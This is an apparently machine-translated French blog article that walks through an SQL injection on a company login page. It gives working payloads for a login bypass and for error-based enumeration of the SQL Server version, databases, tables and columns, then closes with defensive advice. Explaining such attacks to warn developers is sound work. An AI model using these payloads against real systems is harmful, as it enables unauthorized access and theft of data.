Maison  >  Article  >  base de données  >  Partager un exemple de processus d'injection SQL

Partager un exemple de processus d'injection SQL

零下一度
零下一度original
2017-05-17 15:53:267080parcourir

L'injection SQL est très dangereuse. Cet article enregistre l'intégralité du processus d'une instance d'injection SQL. Voyons à quel point elle est dangereuse.

Injection initiale - contourner la vérification, connectez-vous directement

La boîte de connexion au site Web de l'entreprise est la suivante :

Partager un exemple de processus dinjection SQL

Oui j'ai vu qu'en plus du compte et du mot de passe, il y a aussi une zone de saisie pour le nom de l'entreprise. Selon la forme de la zone de saisie, il n'est pas difficile de déduire que le SQL s'écrit comme suit :

.
SELECT * From Table WHERE Name='XX' and Password='YY' and Corp='ZZ'

J'ai trouvé que les deux premiers effectuaient quelques vérifications, et que la troisième zone de saisie était ignorée, et la faille est là ! L'injection démarre, saisissez le contenu suivant dans la zone de saisie :

Partager un exemple de processus dinjection SQL

Remplissez le nom d'utilisateur au hasard et laissez le mot de passe vide Dans ce cas, après avoir cliqué sur login bouton Connecté avec succès. Si nous regardons le SQL final, nous trouverons la raison :

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--'
Comme le montre le code, la première moitié des guillemets simples est fermée et la seconde moitié des guillemets simples est fermée. commenté avec "--" pour

, il y a une condition supplémentaire "1=1" au milieu qui est toujours vraie, ce qui a pour résultat que n'importe quel personnage peut être connecté avec succès. Le mal de l’injection SQL n’est pas seulement la connexion anonyme.

Injection intermédiaire : obtenez des informations à l'aide d'exceptions.

Maintenant, nous écrivons dans la troisième zone de saisie : « ‘ ou 1=(SELECT @@version) – ». Comme suit :

Partager un exemple de processus dinjection SQL

Le SQL d'arrière-plan devient comme ceci :

SELECT * From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--'
La condition de jugement devient 1=(SELECT @@VERSION), cette façon de écrire Cela conduira certainement à des erreurs, mais les erreurs sont exactement ce que nous voulons. Après avoir cliqué pour vous connecter, les informations suivantes apparaissent sur la page :

Conversion failed when converting the nvarchar value &#39;Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) &#39; to data type int.
Une chose terrible s'est produite. Les informations sur le système d'exploitation du serveur et la version de SQL Server ont en fait été affichées via des erreurs.

Expansion des dommages - obtenez tous les noms de bibliothèques, noms de tables et noms de champs du serveur

Ensuite, nous entrons les informations suivantes dans la zone de saisie : "t' ou 1=( SELECT

top 1 nom FROM master..sysdatabases où le nom n'est pas dans (SELECT top 0 name FROM master..sysdatabases))--". À ce moment-là, il a été constaté que la troisième zone de saisie contenait un mot limite de longueur Cependant, ce client Les restrictions sont vaines et peuvent être supprimées directement via Google Chrome.

Partager un exemple de processus dinjection SQL

Cliquez pour vous connecter, les informations renvoyées sont les suivantes :

Conversion failed when converting the nvarchar value &#39;master&#39; to data type int.
Le nom de la base de données "master" est affiché via une exception ! En modifiant tour à tour les numéros de série dans l'instruction SQL ci-dessus, vous pouvez obtenir les noms de toutes les bases de données sur le serveur.

Ensuite, entrez les informations suivantes : "b' ou 1=(SELECT top 1 name FROM master..sys

objects où xtype='U' et le nom n'est pas dans (SELECT top 1 nom FROM master..sysobjects où xtype='U'))--"

Les informations renvoyées sont les suivantes :

Conversion failed when converting the nvarchar value &#39;spt_fallback_db&#39; to data type int.
Nous avons obtenu le premier nom de table dans la base de données master : "spt_fallback_db", comme ci-dessus, modifiez le numéro de série dans l'ordre et vous pouvez obtenir tous les noms de table de la bibliothèque.

Maintenant, nous prenons la table "spt_fallback_db" comme exemple et essayons d'obtenir tous les noms de champs dans la table. Entrez le code suivant dans la zone de saisie : "b' ou 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master ..sysobjects.name='spt_fallback_db');"

Donc, le message d'erreur est le suivant :

"Conversion failed when converting the nvarchar value &#39;xserver_name&#39; to data type int.";
De cette façon, le premier nom de champ "xserver_name" apparaît , et le numéro de séquence est modifié dans la séquence , vous pouvez parcourir tous les noms de champs.

Le but ultime - obtenir les données dans la base de données

Au moment où nous écrivons ceci, nous savons que toutes les bases de données, tables et champs peuvent être obtenus par injection SQL afin d'éviter cela. L'article n'est plus devenu un tutoriel d'injection, le code pour obtenir des données ne sera plus décrit et le but de cet article a été atteint. Que signifie l'injection SQL ?

signifie que toutes les données de la base de données peuvent être volées .

Après avoir connu le danger, peut-on encore ignorer les vulnérabilités de l'injection SQL ?

Conclusion

Concernant la sécurité, cet article peut résumer les points suivants :

  1. Soyez toujours vigilant sur le contenu saisi par l'utilisateur.

  2. Seule la vérification côté client équivaut à aucune vérification.

  3. Ne jamais exposer les messages d'erreur du serveur aux utilisateurs.

De plus, je voudrais ajouter quelques points :

  1. L'injection SQL peut atteindre son objectif non seulement via les zones de saisie, mais aussi via l'URL.

  2. En plus de la page d'erreur du serveur, il existe d'autres moyens d'obtenir des informations sur la base de données.

  3. Vous pouvez simuler le comportement d'injection via un logiciel. De cette façon, vous pouvez voler des informations beaucoup plus rapidement que vous ne le pensez.

  4. La vulnérabilité n'a rien à voir avec la plateforme linguistique. Ce n'est pas que asp ait des vulnérabilités d'injection mais asp.net n'a pas de vulnérabilités d'injection. Tout dépend de la prudence du concepteur.

[Recommandations associées]

1 Recommandation spéciale : "Télécharger les outils de programmation PHP. la version V0.1 de "Box"

2. Comment empêcher l'injection sql ? Présentez 5 façons d'empêcher l'injection SQL

3. Partagez cinq outils d'analyse des vulnérabilités d'injection SQL célèbres

4 Partagez un article d'utilisation Exemple d'explication. de la bibliothèque de glisser-déposer de vulnérabilité d'injection SQL

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn